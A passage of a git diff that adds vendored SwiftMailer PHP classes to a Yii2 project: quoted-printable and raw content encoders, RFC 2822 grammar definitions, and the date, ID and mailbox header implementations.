str_replace( + array("\r\n", "\r", "\n"), + array("\n", "\n", "\r\n"), + $string + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/QpContentEncoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/QpContentEncoder.php new file mode 100644 index 00000000..58f05a10 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/QpContentEncoder.php @@ -0,0 +1,123 @@ +_dotEscape = $dotEscape; + parent::__construct($charStream, $filter); + } + + public function __sleep() + { + return array('_charStream', '_filter', '_dotEscape'); + } + + protected function getSafeMapShareId() + { + return get_class($this).($this->_dotEscape ? '.dotEscape' : ''); + } + + protected function initSafeMap() + { + parent::initSafeMap(); + if ($this->_dotEscape) { + /* Encode . as =2e for buggy remote servers */ + unset($this->_safeMap[0x2e]); + } + } + + /** + * Encode stream $in to stream $out. + * + * QP encoded strings have a maximum line length of 76 characters. + * If the first line needs to be shorter, indicate the difference with + * $firstLineOffset. + * + * @param Swift_OutputByteStream $os output stream + * @param Swift_InputByteStream $is input stream + * @param int $firstLineOffset + * @param int $maxLineLength + */ + public function encodeByteStream(Swift_OutputByteStream $os, Swift_InputByteStream $is, $firstLineOffset = 0, $maxLineLength = 0) + { + if ($maxLineLength > 76 || $maxLineLength <= 0) { + $maxLineLength = 76; + } + + $thisLineLength = $maxLineLength - $firstLineOffset; + + $this->_charStream->flushContents(); + $this->_charStream->importByteStream($os); + + $currentLine = ''; + $prepend = ''; + $size = $lineLen = 0; + + while (false !== $bytes = $this->_nextSequence()) { + // If we're filtering the input + if (isset($this->_filter)) { + // If we can't filter because we need more bytes + while ($this->_filter->shouldBuffer($bytes)) { + // Then collect bytes into the buffer + if (false === $moreBytes = $this->_nextSequence(1)) { + break; + } + + foreach ($moreBytes as $b) { + $bytes[] = $b; + } + } + // And filter them + $bytes = $this->_filter->filter($bytes); + } + + $enc = $this->_encodeByteSequence($bytes, $size); + if ($currentLine && $lineLen+$size >= $thisLineLength) { + $is->write($prepend.$this->_standardize($currentLine)); + $currentLine = ''; + $prepend = "=\r\n"; + $thisLineLength = $maxLineLength; + $lineLen = 0; + } + $lineLen += $size; + $currentLine .= $enc; + } + if (strlen($currentLine)) { + $is->write($prepend.$this->_standardize($currentLine)); + } + } + + /** + * Get the name of this encoding scheme. + * Returns the string 'quoted-printable'. + * + * @return string + */ + public function getName() + { + return 'quoted-printable'; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/QpContentEncoderProxy.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/QpContentEncoderProxy.php new file mode 100644 index 00000000..d6e8d7c3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/QpContentEncoderProxy.php @@ -0,0 +1,97 @@ + + */ +class Swift_Mime_ContentEncoder_QpContentEncoderProxy implements Swift_Mime_ContentEncoder +{ + /** + * @var Swift_Mime_ContentEncoder_QpContentEncoder + */ + private $safeEncoder; + + /** + * @var Swift_Mime_ContentEncoder_NativeQpContentEncoder + */ + private $nativeEncoder; + + /** + * @var null|string + */ + private $charset; + + /** + * Constructor. + * + * @param Swift_Mime_ContentEncoder_QpContentEncoder $safeEncoder + * @param Swift_Mime_ContentEncoder_NativeQpContentEncoder $nativeEncoder + * @param string|null $charset + */ + public function __construct(Swift_Mime_ContentEncoder_QpContentEncoder $safeEncoder, Swift_Mime_ContentEncoder_NativeQpContentEncoder $nativeEncoder, $charset) + { + $this->safeEncoder = $safeEncoder; + $this->nativeEncoder = $nativeEncoder; + $this->charset = $charset; + } + + /** + * Make a deep copy of object + */ + public function __clone() + { + $this->safeEncoder = clone $this->safeEncoder; + $this->nativeEncoder = clone $this->nativeEncoder; + } + + /** + * {@inheritdoc} + */ + public function charsetChanged($charset) + { + $this->charset = $charset; + } + + /** + * {@inheritdoc} + */ + public function encodeByteStream(Swift_OutputByteStream $os, Swift_InputByteStream $is, $firstLineOffset = 0, $maxLineLength = 0) + { + $this->getEncoder()->encodeByteStream($os, $is, $firstLineOffset, $maxLineLength); + } + + /** + * {@inheritdoc} + */ + public function getName() + { + return 'quoted-printable'; + } + + /** + * {@inheritdoc} + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + return $this->getEncoder()->encodeString($string, $firstLineOffset, $maxLineLength); + } + + /** + * @return Swift_Mime_ContentEncoder + */ + private function getEncoder() + { + return 'utf-8' === $this->charset ? $this->nativeEncoder : $this->safeEncoder; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/RawContentEncoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/RawContentEncoder.php new file mode 100644 index 00000000..f717dc78 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ContentEncoder/RawContentEncoder.php @@ -0,0 +1,63 @@ + + */ +class Swift_Mime_ContentEncoder_RawContentEncoder implements Swift_Mime_ContentEncoder +{ + /** + * Encode a given string to produce an encoded string. + * + * @param string $string + * @param int $firstLineOffset ignored + * @param int $maxLineLength ignored + * @return string + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + return $string; + } + + /** + * Encode stream $in to stream $out. + * + * @param Swift_OutputByteStream $in + * @param Swift_InputByteStream $out + * @param int $firstLineOffset ignored + * @param int $maxLineLength ignored + */ + public function encodeByteStream(Swift_OutputByteStream $os, Swift_InputByteStream $is, $firstLineOffset = 0, $maxLineLength = 0) + { + while (false !== ($bytes = $os->read(8192))) { + $is->write($bytes); + } + } + + /** + * Get the name of this encoding scheme. + * + * @return string + */ + public function getName() + { + return 'raw'; + } + + /** + * Not used. + */ + public function charsetChanged($charset) + { + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/EmbeddedFile.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/EmbeddedFile.php new file mode 100644 index 00000000..ec1ef535 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/EmbeddedFile.php @@ -0,0 +1,45 @@ +setDisposition('inline'); + $this->setId($this->getId()); + } + + /** + * Get the nesting level of this EmbeddedFile. + * + * Returns {@see LEVEL_RELATED}. + * + * @return int + */ + public function getNestingLevel() + { + return self::LEVEL_RELATED; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/EncodingObserver.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/EncodingObserver.php new file mode 100644 index 00000000..e262974b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/EncodingObserver.php @@ -0,0 +1,24 @@ +init(); + } + + public function __wakeup() + { + $this->init(); + } + + protected function init() + { + if (count(self::$_specials) > 0) { + return; + } + + self::$_specials = array( + '(', ')', '<', '>', '[', ']', + ':', ';', '@', ',', '.', '"', + ); + + /*** Refer to RFC 2822 for ABNF grammar ***/ + + // All basic building blocks + self::$_grammar['NO-WS-CTL'] = '[\x01-\x08\x0B\x0C\x0E-\x19\x7F]'; + self::$_grammar['WSP'] = '[ \t]'; + self::$_grammar['CRLF'] = '(?:\r\n)'; + self::$_grammar['FWS'] = '(?:(?:'.self::$_grammar['WSP'].'*'. + self::$_grammar['CRLF'].')?'.self::$_grammar['WSP'].')'; + self::$_grammar['text'] = '[\x00-\x08\x0B\x0C\x0E-\x7F]'; + self::$_grammar['quoted-pair'] = '(?:\\\\'.self::$_grammar['text'].')'; + self::$_grammar['ctext'] = '(?:'.self::$_grammar['NO-WS-CTL']. + '|[\x21-\x27\x2A-\x5B\x5D-\x7E])'; + // Uses recursive PCRE (?1) -- could be a weak point?? + self::$_grammar['ccontent'] = '(?:'.self::$_grammar['ctext'].'|'. + self::$_grammar['quoted-pair'].'|(?1))'; + self::$_grammar['comment'] = '(\((?:'.self::$_grammar['FWS'].'|'. + self::$_grammar['ccontent'].')*'.self::$_grammar['FWS'].'?\))'; + self::$_grammar['CFWS'] = '(?:(?:'.self::$_grammar['FWS'].'?'. + self::$_grammar['comment'].')*(?:(?:'.self::$_grammar['FWS'].'?'. + self::$_grammar['comment'].')|'.self::$_grammar['FWS'].'))'; + self::$_grammar['qtext'] = '(?:'.self::$_grammar['NO-WS-CTL']. + '|[\x21\x23-\x5B\x5D-\x7E])'; + self::$_grammar['qcontent'] = '(?:'.self::$_grammar['qtext'].'|'. + self::$_grammar['quoted-pair'].')'; + self::$_grammar['quoted-string'] = '(?:'.self::$_grammar['CFWS'].'?"'. + '('.self::$_grammar['FWS'].'?'.self::$_grammar['qcontent'].')*'. + self::$_grammar['FWS'].'?"'.self::$_grammar['CFWS'].'?)'; + self::$_grammar['atext'] = '[a-zA-Z0-9!#\$%&\'\*\+\-\/=\?\^_`\{\}\|~]'; + self::$_grammar['atom'] = '(?:'.self::$_grammar['CFWS'].'?'. + self::$_grammar['atext'].'+'.self::$_grammar['CFWS'].'?)'; + self::$_grammar['dot-atom-text'] = '(?:'.self::$_grammar['atext'].'+'. + '(\.'.self::$_grammar['atext'].'+)*)'; + self::$_grammar['dot-atom'] = '(?:'.self::$_grammar['CFWS'].'?'. + self::$_grammar['dot-atom-text'].'+'.self::$_grammar['CFWS'].'?)'; + self::$_grammar['word'] = '(?:'.self::$_grammar['atom'].'|'. + self::$_grammar['quoted-string'].')'; + self::$_grammar['phrase'] = '(?:'.self::$_grammar['word'].'+?)'; + self::$_grammar['no-fold-quote'] = '(?:"(?:'.self::$_grammar['qtext']. + '|'.self::$_grammar['quoted-pair'].')*")'; + self::$_grammar['dtext'] = '(?:'.self::$_grammar['NO-WS-CTL']. + '|[\x21-\x5A\x5E-\x7E])'; + self::$_grammar['no-fold-literal'] = '(?:\[(?:'.self::$_grammar['dtext']. + '|'.self::$_grammar['quoted-pair'].')*\])'; + + // Message IDs + self::$_grammar['id-left'] = '(?:'.self::$_grammar['dot-atom-text'].'|'. + self::$_grammar['no-fold-quote'].')'; + self::$_grammar['id-right'] = '(?:'.self::$_grammar['dot-atom-text'].'|'. + self::$_grammar['no-fold-literal'].')'; + + // Addresses, mailboxes and paths + self::$_grammar['local-part'] = '(?:'.self::$_grammar['dot-atom'].'|'. + self::$_grammar['quoted-string'].')'; + self::$_grammar['dcontent'] = '(?:'.self::$_grammar['dtext'].'|'. + self::$_grammar['quoted-pair'].')'; + self::$_grammar['domain-literal'] = '(?:'.self::$_grammar['CFWS'].'?\[('. + self::$_grammar['FWS'].'?'.self::$_grammar['dcontent'].')*?'. + self::$_grammar['FWS'].'?\]'.self::$_grammar['CFWS'].'?)'; + self::$_grammar['domain'] = '(?:'.self::$_grammar['dot-atom'].'|'. + self::$_grammar['domain-literal'].')'; + self::$_grammar['addr-spec'] = '(?:'.self::$_grammar['local-part'].'@'. + self::$_grammar['domain'].')'; + } + + /** + * Get the grammar defined for $name token. + * + * @param string $name exactly as written in the RFC + * + * @return string + */ + public function getDefinition($name) + { + if (array_key_exists($name, self::$_grammar)) { + return self::$_grammar[$name]; + } else { + throw new Swift_RfcComplianceException( + "No such grammar '".$name."' defined." + ); + } + } + + /** + * Returns the tokens defined in RFC 2822 (and some related RFCs). + * + * @return array + */ + public function getGrammarDefinitions() + { + return self::$_grammar; + } + + /** + * Returns the current special characters used in the syntax which need to be escaped. + * + * @return array + */ + public function getSpecials() + { + return self::$_specials; + } + + /** + * Escape special characters in a string (convert to quoted-pairs). + * + * @param string $token + * @param string[] $include additional chars to escape + * @param string[] $exclude chars from escaping + * + * @return string + */ + public function escapeSpecials($token, $include = array(), $exclude = array()) + { + foreach (array_merge(array('\\'), array_diff(self::$_specials, $exclude), $include) as $char) { + $token = str_replace($char, '\\'.$char, $token); + } + + return $token; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Header.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Header.php new file mode 100644 index 00000000..7074c4f6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Header.php @@ -0,0 +1,93 @@ +getName(), "\r\n"); + mb_internal_encoding($old); + + return $newstring; + } + + return parent::encodeString($string, $firstLineOffset, $maxLineLength); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/HeaderEncoder/QpHeaderEncoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/HeaderEncoder/QpHeaderEncoder.php new file mode 100644 index 00000000..dd8ff382 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/HeaderEncoder/QpHeaderEncoder.php @@ -0,0 +1,65 @@ +_safeMap[$byte] = chr($byte); + } + } + + /** + * Get the name of this encoding scheme. + * + * Returns the string 'Q'. + * + * @return string + */ + public function getName() + { + return 'Q'; + } + + /** + * Takes an unencoded string and produces a QP encoded string from it. + * + * @param string $string string to encode + * @param int $firstLineOffset optional + * @param int $maxLineLength optional, 0 indicates the default of 76 chars + * + * @return string + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + return str_replace(array(' ', '=20', "=\r\n"), array('_', '_', "\r\n"), + parent::encodeString($string, $firstLineOffset, $maxLineLength) + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/HeaderFactory.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/HeaderFactory.php new file mode 100644 index 00000000..423cebcf --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/HeaderFactory.php @@ -0,0 +1,78 @@ +setGrammar($grammar); + } + + /** + * Set the character set used in this Header. + * + * @param string $charset + */ + public function setCharset($charset) + { + $this->clearCachedValueIf($charset != $this->_charset); + $this->_charset = $charset; + if (isset($this->_encoder)) { + $this->_encoder->charsetChanged($charset); + } + } + + /** + * Get the character set used in this Header. + * + * @return string + */ + public function getCharset() + { + return $this->_charset; + } + + /** + * Set the language used in this Header. + * + * For example, for US English, 'en-us'. + * This can be unspecified. + * + * @param string $lang + */ + public function setLanguage($lang) + { + $this->clearCachedValueIf($this->_lang != $lang); + $this->_lang = $lang; + } + + /** + * Get the language used in this Header. + * + * @return string + */ + public function getLanguage() + { + return $this->_lang; + } + + /** + * Set the encoder used for encoding the header. + * + * @param Swift_Mime_HeaderEncoder $encoder + */ + public function setEncoder(Swift_Mime_HeaderEncoder $encoder) + { + $this->_encoder = $encoder; + $this->setCachedValue(null); + } + + /** + * Get the encoder used for encoding this Header. + * + * @return Swift_Mime_HeaderEncoder + */ + public function getEncoder() + { + return $this->_encoder; + } + + /** + * Set the grammar used for the header. + * + * @param Swift_Mime_Grammar $grammar + */ + public function setGrammar(Swift_Mime_Grammar $grammar) + { + $this->_grammar = $grammar; + $this->setCachedValue(null); + } + + /** + * Get the grammar used for this Header. + * + * @return Swift_Mime_Grammar + */ + public function getGrammar() + { + return $this->_grammar; + } + + /** + * Get the name of this header (e.g. charset). + * + * @return string + */ + public function getFieldName() + { + return $this->_name; + } + + /** + * Set the maximum length of lines in the header (excluding EOL). + * + * @param int $lineLength + */ + public function setMaxLineLength($lineLength) + { + $this->clearCachedValueIf($this->_lineLength != $lineLength); + $this->_lineLength = $lineLength; + } + + /** + * Get the maximum permitted length of lines in this Header. + * + * @return int + */ + public function getMaxLineLength() + { + return $this->_lineLength; + } + + /** + * Get this Header rendered as a RFC 2822 compliant string. + * + * @return string + * + * @throws Swift_RfcComplianceException + */ + public function toString() + { + return $this->_tokensToString($this->toTokens()); + } + + /** + * Returns a string representation of this object. + * + * @return string + * + * @see toString() + */ + public function __toString() + { + return $this->toString(); + } + + // -- Points of extension + + /** + * Set the name of this Header field. + * + * @param string $name + */ + protected function setFieldName($name) + { + $this->_name = $name; + } + + /** + * Produces a compliant, formatted RFC 2822 'phrase' based on the string given. + * + * @param Swift_Mime_Header $header + * @param string $string as displayed + * @param string $charset of the text + * @param Swift_Mime_HeaderEncoder $encoder + * @param bool $shorten the first line to make remove for header name + * + * @return string + */ + protected function createPhrase(Swift_Mime_Header $header, $string, $charset, Swift_Mime_HeaderEncoder $encoder = null, $shorten = false) + { + // Treat token as exactly what was given + $phraseStr = $string; + // If it's not valid + if (!preg_match('/^'.$this->getGrammar()->getDefinition('phrase').'$/D', $phraseStr)) { + // .. but it is just ascii text, try escaping some characters + // and make it a quoted-string + if (preg_match('/^'.$this->getGrammar()->getDefinition('text').'*$/D', $phraseStr)) { + $phraseStr = $this->getGrammar()->escapeSpecials( + $phraseStr, array('"'), $this->getGrammar()->getSpecials() + ); + $phraseStr = '"'.$phraseStr.'"'; + } else { + // ... otherwise it needs encoding + // Determine space remaining on line if first line + if ($shorten) { + $usedLength = strlen($header->getFieldName().': '); + } else { + $usedLength = 0; + } + $phraseStr = $this->encodeWords($header, $string, $usedLength); + } + } + + return $phraseStr; + } + + /** + * Encode needed word tokens within a string of input. + * + * @param Swift_Mime_Header $header + * @param string $input + * @param string $usedLength optional + * + * @return string + */ + protected function encodeWords(Swift_Mime_Header $header, $input, $usedLength = -1) + { + $value = ''; + + $tokens = $this->getEncodableWordTokens($input); + + foreach ($tokens as $token) { + // See RFC 2822, Sect 2.2 (really 2.2 ??) + if ($this->tokenNeedsEncoding($token)) { + // Don't encode starting WSP + $firstChar = substr($token, 0, 1); + switch ($firstChar) { + case ' ': + case "\t": + $value .= $firstChar; + $token = substr($token, 1); + } + + if (-1 == $usedLength) { + $usedLength = strlen($header->getFieldName().': ') + strlen($value); + } + $value .= $this->getTokenAsEncodedWord($token, $usedLength); + + $header->setMaxLineLength(76); // Forcefully override + } else { + $value .= $token; + } + } + + return $value; + } + + /** + * Test if a token needs to be encoded or not. + * + * @param string $token + * + * @return bool + */ + protected function tokenNeedsEncoding($token) + { + return preg_match('~[\x00-\x08\x10-\x19\x7F-\xFF\r\n]~', $token); + } + + /** + * Splits a string into tokens in blocks of words which can be encoded quickly. + * + * @param string $string + * + * @return string[] + */ + protected function getEncodableWordTokens($string) + { + $tokens = array(); + + $encodedToken = ''; + // Split at all whitespace boundaries + foreach (preg_split('~(?=[\t ])~', $string) as $token) { + if ($this->tokenNeedsEncoding($token)) { + $encodedToken .= $token; + } else { + if (strlen($encodedToken) > 0) { + $tokens[] = $encodedToken; + $encodedToken = ''; + } + $tokens[] = $token; + } + } + if (strlen($encodedToken)) { + $tokens[] = $encodedToken; + } + + return $tokens; + } + + /** + * Get a token as an encoded word for safe insertion into headers. + * + * @param string $token token to encode + * @param int $firstLineOffset optional + * + * @return string + */ + protected function getTokenAsEncodedWord($token, $firstLineOffset = 0) + { + // Adjust $firstLineOffset to account for space needed for syntax + $charsetDecl = $this->_charset; + if (isset($this->_lang)) { + $charsetDecl .= '*'.$this->_lang; + } + $encodingWrapperLength = strlen( + '=?'.$charsetDecl.'?'.$this->_encoder->getName().'??=' + ); + + if ($firstLineOffset >= 75) { + //Does this logic need to be here? + $firstLineOffset = 0; + } + + $encodedTextLines = explode("\r\n", + $this->_encoder->encodeString( + $token, $firstLineOffset, 75 - $encodingWrapperLength, $this->_charset + ) + ); + + if (strtolower($this->_charset) !== 'iso-2022-jp') { + // special encoding for iso-2022-jp using mb_encode_mimeheader + foreach ($encodedTextLines as $lineNum => $line) { + $encodedTextLines[$lineNum] = '=?'.$charsetDecl. + '?'.$this->_encoder->getName(). + '?'.$line.'?='; + } + } + + return implode("\r\n ", $encodedTextLines); + } + + /** + * Generates tokens from the given string which include CRLF as individual tokens. + * + * @param string $token + * + * @return string[] + */ + protected function generateTokenLines($token) + { + return preg_split('~(\r\n)~', $token, -1, PREG_SPLIT_DELIM_CAPTURE); + } + + /** + * Set a value into the cache. + * + * @param string $value + */ + protected function setCachedValue($value) + { + $this->_cachedValue = $value; + } + + /** + * Get the value in the cache. + * + * @return string + */ + protected function getCachedValue() + { + return $this->_cachedValue; + } + + /** + * Clear the cached value if $condition is met. + * + * @param bool $condition + */ + protected function clearCachedValueIf($condition) + { + if ($condition) { + $this->setCachedValue(null); + } + } + + /** + * Generate a list of all tokens in the final header. + * + * @param string $string The string to tokenize + * + * @return array An array of tokens as strings + */ + protected function toTokens($string = null) + { + if (is_null($string)) { + $string = $this->getFieldBody(); + } + + $tokens = array(); + + // Generate atoms; split at all invisible boundaries followed by WSP + foreach (preg_split('~(?=[ \t])~', $string) as $token) { + $newTokens = $this->generateTokenLines($token); + foreach ($newTokens as $newToken) { + $tokens[] = $newToken; + } + } + + return $tokens; + } + + /** + * Takes an array of tokens which appear in the header and turns them into + * an RFC 2822 compliant string, adding FWSP where needed. + * + * @param string[] $tokens + * + * @return string + */ + private function _tokensToString(array $tokens) + { + $lineCount = 0; + $headerLines = array(); + $headerLines[] = $this->_name.': '; + $currentLine = & $headerLines[$lineCount++]; + + // Build all tokens back into compliant header + foreach ($tokens as $i => $token) { + // Line longer than specified maximum or token was just a new line + if (("\r\n" == $token) || + ($i > 0 && strlen($currentLine.$token) > $this->_lineLength) + && 0 < strlen($currentLine)) { + $headerLines[] = ''; + $currentLine = & $headerLines[$lineCount++]; + } + + // Append token to the line + if ("\r\n" != $token) { + $currentLine .= $token; + } + } + + // Implode with FWS (RFC 2822, 2.2.3) + return implode("\r\n", $headerLines)."\r\n"; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/DateHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/DateHeader.php new file mode 100644 index 00000000..a1093fb0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/DateHeader.php @@ -0,0 +1,125 @@ + + * + * + * + * @param string $name of Header + * @param Swift_Mime_Grammar $grammar + */ + public function __construct($name, Swift_Mime_Grammar $grammar) + { + $this->setFieldName($name); + parent::__construct($grammar); + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_DATE; + } + + /** + * Set the model for the field body. + * + * This method takes a UNIX timestamp. + * + * @param int $model + */ + public function setFieldBodyModel($model) + { + $this->setTimestamp($model); + } + + /** + * Get the model for the field body. + * + * This method returns a UNIX timestamp. + * + * @return mixed + */ + public function getFieldBodyModel() + { + return $this->getTimestamp(); + } + + /** + * Get the UNIX timestamp of the Date in this Header. + * + * @return int + */ + public function getTimestamp() + { + return $this->_timestamp; + } + + /** + * Set the UNIX timestamp of the Date in this Header. + * + * @param int $timestamp + */ + public function setTimestamp($timestamp) + { + if (!is_null($timestamp)) { + $timestamp = (int) $timestamp; + } + $this->clearCachedValueIf($this->_timestamp != $timestamp); + $this->_timestamp = $timestamp; + } + + /** + * Get the string value of the body in this Header. + * + * This is not necessarily RFC 2822 compliant since folding white space will + * not be added at this stage (see {@link toString()} for that). + * + * @see toString() + * + * @return string + */ + public function getFieldBody() + { + if (!$this->getCachedValue()) { + if (isset($this->_timestamp)) { + $this->setCachedValue(date('r', $this->_timestamp)); + } + } + + return $this->getCachedValue(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/IdentificationHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/IdentificationHeader.php new file mode 100644 index 00000000..1a5a3dd9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/IdentificationHeader.php @@ -0,0 +1,180 @@ +setFieldName($name); + parent::__construct($grammar); + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_ID; + } + + /** + * Set the model for the field body. + * + * This method takes a string ID, or an array of IDs. + * + * @param mixed $model + * + * @throws Swift_RfcComplianceException + */ + public function setFieldBodyModel($model) + { + $this->setId($model); + } + + /** + * Get the model for the field body. + * + * This method returns an array of IDs + * + * @return array + */ + public function getFieldBodyModel() + { + return $this->getIds(); + } + + /** + * Set the ID used in the value of this header. + * + * @param string|array $id + * + * @throws Swift_RfcComplianceException + */ + public function setId($id) + { + $this->setIds(is_array($id) ? $id : array($id)); + } + + /** + * Get the ID used in the value of this Header. + * + * If multiple IDs are set only the first is returned. + * + * @return string + */ + public function getId() + { + if (count($this->_ids) > 0) { + return $this->_ids[0]; + } + } + + /** + * Set a collection of IDs to use in the value of this Header. + * + * @param string[] $ids + * + * @throws Swift_RfcComplianceException + */ + public function setIds(array $ids) + { + $actualIds = array(); + + foreach ($ids as $id) { + $this->_assertValidId($id); + $actualIds[] = $id; + } + + $this->clearCachedValueIf($this->_ids != $actualIds); + $this->_ids = $actualIds; + } + + /** + * Get the list of IDs used in this Header. + * + * @return string[] + */ + public function getIds() + { + return $this->_ids; + } + + /** + * Get the string value of the body in this Header. + * + * This is not necessarily RFC 2822 compliant since folding white space will + * not be added at this stage (see {@see toString()} for that). + * + * @see toString() + * + * @return string + * + * @throws Swift_RfcComplianceException + */ + public function getFieldBody() + { + if (!$this->getCachedValue()) { + $angleAddrs = array(); + + foreach ($this->_ids as $id) { + $angleAddrs[] = '<'.$id.'>'; + } + + $this->setCachedValue(implode(' ', $angleAddrs)); + } + + return $this->getCachedValue(); + } + + /** + * Throws an Exception if the id passed does not comply with RFC 2822. + * + * @param string $id + * + * @throws Swift_RfcComplianceException + */ + private function _assertValidId($id) + { + if (!preg_match( + '/^'.$this->getGrammar()->getDefinition('id-left').'@'. + $this->getGrammar()->getDefinition('id-right').'$/D', + $id + )) { + throw new Swift_RfcComplianceException( + 'Invalid ID given <'.$id.'>' + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/MailboxHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/MailboxHeader.php new file mode 100644 index 00000000..165b8619 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/MailboxHeader.php @@ -0,0 +1,354 @@ +setFieldName($name); + $this->setEncoder($encoder); + parent::__construct($grammar); + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_MAILBOX; + } + + /** + * Set the model for the field body. + * + * This method takes a string, or an array of addresses. + * + * @param mixed $model + * + * @throws Swift_RfcComplianceException + */ + public function setFieldBodyModel($model) + { + $this->setNameAddresses($model); + } + + /** + * Get the model for the field body. + * + * This method returns an associative array like {@link getNameAddresses()} + * + * @return array + * + * @throws Swift_RfcComplianceException + */ + public function getFieldBodyModel() + { + return $this->getNameAddresses(); + } + + /** + * Set a list of mailboxes to be shown in this Header. + * + * The mailboxes can be a simple array of addresses, or an array of + * key=>value pairs where (email => personalName). + * Example: + * + * setNameAddresses(array( + * 'chris@swiftmailer.org' => 'Chris Corbyn', + * 'mark@swiftmailer.org' //No associated personal name + * )); + * ?> + * + * + * @see __construct() + * @see setAddresses() + * @see setValue() + * + * @param string|string[] $mailboxes + * + * @throws Swift_RfcComplianceException + */ + public function setNameAddresses($mailboxes) + { + $this->_mailboxes = $this->normalizeMailboxes((array) $mailboxes); + $this->setCachedValue(null); //Clear any cached value + } + + /** + * Get the full mailbox list of this Header as an array of valid RFC 2822 strings. + * + * Example: + * + * 'Chris Corbyn', + * 'mark@swiftmailer.org' => 'Mark Corbyn') + * ); + * print_r($header->getNameAddressStrings()); + * // array ( + * // 0 => Chris Corbyn , + * // 1 => Mark Corbyn + * // ) + * ?> + * + * + * @see getNameAddresses() + * @see toString() + * + * @return string[] + * + * @throws Swift_RfcComplianceException + */ + public function getNameAddressStrings() + { + return $this->_createNameAddressStrings($this->getNameAddresses()); + } + + /** + * Get all mailboxes in this Header as key=>value pairs. + * + * The key is the address and the value is the name (or null if none set). + * Example: + * + * 'Chris Corbyn', + * 'mark@swiftmailer.org' => 'Mark Corbyn') + * ); + * print_r($header->getNameAddresses()); + * // array ( + * // chris@swiftmailer.org => Chris Corbyn, + * // mark@swiftmailer.org => Mark Corbyn + * // ) + * ?> + * + * + * @see getAddresses() + * @see getNameAddressStrings() + * + * @return string[] + */ + public function getNameAddresses() + { + return $this->_mailboxes; + } + + /** + * Makes this Header represent a list of plain email addresses with no names. + * + * Example: + * + * setAddresses( + * array('one@domain.tld', 'two@domain.tld', 'three@domain.tld') + * ); + * ?> + * + * + * @see setNameAddresses() + * @see setValue() + * + * @param string[] $addresses + * + * @throws Swift_RfcComplianceException + */ + public function setAddresses($addresses) + { + $this->setNameAddresses(array_values((array) $addresses)); + } + + /** + * Get all email addresses in this Header. + * + * @see getNameAddresses() + * + * @return string[] + */ + public function getAddresses() + { + return array_keys($this->_mailboxes); + } + + /** + * Remove one or more addresses from this Header. + * + * @param string|string[] $addresses + */ + public function removeAddresses($addresses) + { + $this->setCachedValue(null); + foreach 